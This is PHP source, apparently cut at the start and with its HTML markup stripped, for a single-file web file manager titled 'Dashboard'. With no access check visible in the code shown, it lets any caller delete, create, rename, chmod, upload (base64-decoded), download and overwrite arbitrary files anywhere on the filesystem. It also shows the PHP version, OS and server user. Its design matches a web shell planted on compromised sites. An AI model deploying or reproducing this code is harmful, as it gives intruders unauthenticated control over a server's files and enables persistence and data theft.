false, 'message' => '']; switch($action) { case 'delete': $path = realpath($_POST['path'] ?? '') ?: ''; if($path && !pathIsFilesystemRoot($path)) { if(is_file($path)) { $response['success'] = @unlink($path); } else if(is_dir($path)) { $response['success'] = @rmdir($path); } $response['message'] = $response['success'] ? 'Deleted' : 'Failed'; } break; case 'create': $createPath = realpath($_POST['path'] ?? '') ?: ''; $name = basename($_POST['name'] ?? ''); $type = $_POST['type'] ?? 'file'; $content = $_POST['content'] ?? ''; if($createPath && is_dir($createPath) && $name) { $target = $createPath . DIRECTORY_SEPARATOR . $name; $response['success'] = ($type === 'file') ? (@file_put_contents($target, $content) !== false) : @mkdir($target, 0755, true); $response['message'] = $response['success'] ? 'Created' : 'Failed'; } break; case 'rename': $oldPath = realpath($_POST['old_path'] ?? '') ?: ''; $newName = basename($_POST['new_name'] ?? ''); if($oldPath && !pathIsFilesystemRoot($oldPath) && $newName) { $response['success'] = @rename($oldPath, dirname($oldPath) . DIRECTORY_SEPARATOR . $newName); $response['message'] = $response['success'] ? 'Renamed' : 'Failed'; } break; case 'chmod': $path = realpath($_POST['path'] ?? '') ?: ''; $mode = $_POST['mode'] ?? ''; if($path && $mode) { $response['success'] = @chmod($path, octdec($mode)); $response['message'] = $response['success'] ? 'Changed' : 'Failed'; } break; case 'b64upload': $uploadPath = realpath($_POST['path'] ?? '') ?: ''; $fileName = basename($_POST['name'] ?? ''); $b64content = $_POST['data'] ?? ''; if($uploadPath && is_dir($uploadPath) && $fileName && $b64content) { $content = @base64_decode($b64content); if($content !== false) { $response['success'] = @file_put_contents($uploadPath . DIRECTORY_SEPARATOR . $fileName, $content) !== false; $response['message'] = $response['success'] ? 'Uploaded' : 'Failed'; } } break; } echo json_encode($response); exit; } $message = ''; if(isset($_GET['download']) && isset($_GET['path'])) { $downloadPath = realpath($_GET['path']) ?: $_GET['path']; if(is_file($downloadPath)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($downloadPath) . '"'); readfile($downloadPath); exit; } } if(isset($_POST['edit_path']) && isset($_POST['edit_content'])) { $editPath = realpath($_POST['edit_path']) ?: $_POST['edit_path']; if(is_file($editPath)) { $message = @file_put_contents($editPath, $_POST['edit_content']) ? '✓ Saved' : '✗ Failed'; } } $fileContent = ''; $editingFile = ''; if(isset($_GET['edit']) && isset($_GET['path'])) { $editPath = realpath($_GET['path']) ?: $_GET['path']; if(is_file($editPath)) { $fileContent = @file_get_contents($editPath); $editingFile = $editPath; } } function scanDirectory($dir) { $items = []; if(is_dir($dir)) { $files = @scandir($dir); if($files) { foreach($files as $file) { if($file === '.' || $file === '..' || $file[0] === '.') continue; $path = $dir . DIRECTORY_SEPARATOR . $file; $items[] = ['name' => $file, 'path' => $path, 'type' => is_dir($path) ? 'dir' : 'file', 'size' => is_file($path) ? filesize($path) : 0, 'perms' => substr(sprintf('%o', fileperms($path)), -4), 'modified' => date('Y-m-d H:i', filemtime($path))]; } } } return $items; } $pathCrumbs = buildPathCrumbs($currentPath); $currentPathReal = realpath($currentPath) ?: $currentPath; $parentPath = dirname($currentPathReal); $showParentLink = ($parentPath !== $currentPathReal); $items = scanDirectory($currentPath); function formatSize($bytes) { if($bytes < 1024) return $bytes . ' B'; if($bytes < 1048576) return number_format($bytes / 1024, 1) . ' KB'; if($bytes < 1073741824) return number_format($bytes / 1048576, 1) . ' MB'; return number_format($bytes / 1073741824, 1) . ' GB'; } $phpVersion = phpversion(); $os = php_uname('s'); $user = get_current_user() ?: 'unknown'; ?> Dashboard

Dashboard

PHP: OS: User:
$crumbPath): $crumbLabel = pathIsFilesystemRoot($crumbPath) ? $crumbPath : basename($crumbPath); if($crumbLabel === '' || $crumbLabel === '.' ) $crumbLabel = $crumbPath; ?> 0): ?>
Close
Editing:
Cancel
$i['type'] === 'dir'); $files = array_filter($items, fn($i) => $i['type'] === 'file'); foreach($folders as $folder): ?>
NameSizePermissionsModifiedActions
📂 Parent Directory
📁 -
📄
Edit Download
Empty directory